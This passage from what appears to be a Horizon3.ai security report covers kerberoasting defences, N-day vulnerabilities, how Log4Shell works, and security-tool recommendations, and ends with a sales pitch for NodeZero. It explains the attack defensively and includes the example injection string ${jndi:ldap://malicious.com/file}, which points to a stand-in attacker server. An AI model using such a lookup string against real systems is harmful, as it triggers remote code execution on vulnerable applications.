While kerberoasting may pose another frustrating problem to fight, there are several countermeasures that can be taken to protect clients and servers against its threat, including: requiring advanced passwords for logging into AD accounts (25 or more characters, employing special characters, numbers, upper- and lower-case letters, etc.), limiting groups with domain controller rights, changing passwords on a periodic basis, and creating separate user and admin accounts to balance privileged access on specific services, (etc). Deploying “honey” accounts, or false accounts that trick attackers into exposing their compromise is also a highly effective way to trigger an alert if a login or service ticket is wrongfully achieved. Overall, for the safety of user accounts and privileges, Kerberos should be closely monitored because of its vital importance to the Windows OS and AD environment.

Zero-Day and N-Day Vulnerabilities

With the emphasis placed by popular culture and the media, we understand the fear associated with Zero-Day vulnerabilities. Zero-Days often have a severe impact precisely because of their unknown nature. Adversaries can take full advantage of exploiting Zero-Day vulnerabilities until they are disclosed and patches or mitigation measures are developed and shared.

At Horizon3,.ai we choose to not fear the unknown and the uncontrollable. Instead, we work with our customers to counter the vulnerabilities and weaknesses that we know threat actors are actively seeking to exploit.

That is why we choose to focus on N-Day vulnerabilities or those vulnerabilities that have been recently discovered, and patches or mitigation measures are made available to the public. We often alert our customers through our FLARE notifications to a newly released vulnerability that we know is potentially exploitable in their environment, the availability of patches and fix actions to remediate the weakness, and the ability to run a pentest to verify that the corrective actions were successful. We also continually update our customers on any developments on the specific vulnerability, such as the continuing exploitation by malicious cyber threat actors.

For example, one vulnerability that has received a lot of public attention is Log4Shell (CVE-2021-44228) . Over the last year, NodeZero exploited the Log4Shell vulnerability over 300 times (out of the 34,000 times in which NodeZero successfully executed an attack compromising at least one host).

Apache’s log4j or log4j2 (updated version) is a Java-based logging library and commonly implemented Java logging framework . Any application that has input logged by an earlier log4j version is potentially at risk of the application communicating with malicious servers and allowing RCE to be performed by an attacker. An adversary targeting platforms using log4j will use the JNDI lookup feature. When it sees the ${jndi:ldap://malicious.com/file} in the log, it uses the JNDI feature to send a request to the attacker-controlled LDAP server. The ad hoc servers established by the attacker then receive the string request from the victim app, usually with a payload exploit pre-installed. An attacker will send a string request from the victim app to request the malicious payload from the attacker’s server. Either method causes the application to interpret malicious string code as a normal instruction, resulting in a successful compromise.

Fortunately for our customers, we provide an extensive list of mitigation actions inside NodeZero to prevent threat actors from exploiting the Log4Shell vulnerability and other critical vulnerabilities. If log4j or log4j2 are enabled on a public-facing host like webservers or web applications, cyber threat actors can trigger arbitrary java code on the target system. Several organizations believe that by implementing demilitarized zone (DMZ) firewalls or web security tools they will be able to prevent attackers from accessing applications with log4j2 enabled. However, adversaries who maneuver around these measures will find that they can easily exploit the Log4Shell vulnerability and with serious consequences. They can compromise third party software, bounce from one compromised app or device to another, and ultimately take control over an organization’s entire network if undiscovered.

Since numerous applications are built with Java components, the Log4Shell vulnerability is a highly critical exposure in several areas of an organization’s security network. Not only are public-facing applications at risk, but also critical infrastructure (such as in VMware products highlighted in our example above) and open-source projects (such as Apache Solar, Druid, etc.) if log4j is used. Across multiple platforms and industries, the ubiquitous Log4Shell vulnerability can be linked and is embedded in numerous applications, making it even harder to find and fix.

Therefore, to mitigate this threat, all applications must be continuously checked for the use of log4j, as well as if that version is particularly vulnerable. We recommend updating log4j to a patched version, (provide link/ref) establishing URL rules (for blocking lookups from botnets and malicious LDAP servers), and check if the JNDI feature may be disabled on apps without severely impacting their functions.

Implications and Policy Recommendations

As customers begin to run a regular cadence of pentests and the aforementioned find, fix, verify loop, we often find that customers’ security teams will begin to ask why NodeZero was still able to achieve critical impacts like domain compromise when they have security tools in place that should be able to stop the threat. Meaning, the security team, and the tools that an organization employs are not able to detect, log, alert and stop threats before they occur.

While we do not make recommendations of which specific cybersecurity tools to employ outside of NodeZero, we do recommend that organizations reach out to the vendors of the security tools that they do employ to ensure that they are installed and configured correctly. Further, if a specific tool is not adept at stopping a given threat, we recommend taking note of that limitation and finding other tools or implementing other mitigation strategies to correct the issue.

In the end, we have seen that Horizon3.ai customers both large and small have found exploitable critical vulnerabilities, misconfigurations, and weaknesses in their environments thanks to NodeZero. We have also seen that these vulnerabilities, misconfigurations, and weaknesses fall into three general themes.

• Weak credential policies and poor policy enforcement, not sophisticated exploits, lead to most of the common vulnerabilities experienced by customers. Credential-based attacks are the most common method for cyber threat actors to gain a foothold in your environment, and yet they are easily fixed.
• Patching is rare and misconfiguration fixes are even rarer. Companies and organizations should have patching policies in place to ensure that their environment is up to date, while ensuring that technologies within that environment are configured appropriately.
• Cybersecurity tools require proper oversight and fine-tuning to be effective.

It is not enough to simply employ a security stack and think that those tools will prevent the next cyberattack. Companies and organizations should ensure that their cybersecurity tools are set up properly so that their security teams can detect, alert, stop and log the threat.

NodeZero allows our customers to take the necessary steps to prioritize and fix or mitigate those vulnerabilities, misconfigurations, and weaknesses that lead to critical impacts. This includes pointing our customers to the latest patches and mitigation actions by individual vendors. Once the vulnerabilities are believed to be fixed or mitigated, our customers are then asked to run another pentest or 1-click verify. This ensures that the fix actions and mitigation steps were applied correctly.

Contact Information

Would you like to see how Horizon3.ai and NodeZero can help your company or organization? Head on over to horizon3.ai to sign up for a free trial or contact us at info@horizon3.ai to schedule a demo. We’d love to hear from you!

Horizon3.ai
info@horizon3.ai

Customer Threat Analytics Team
customer.success@horizon3.ai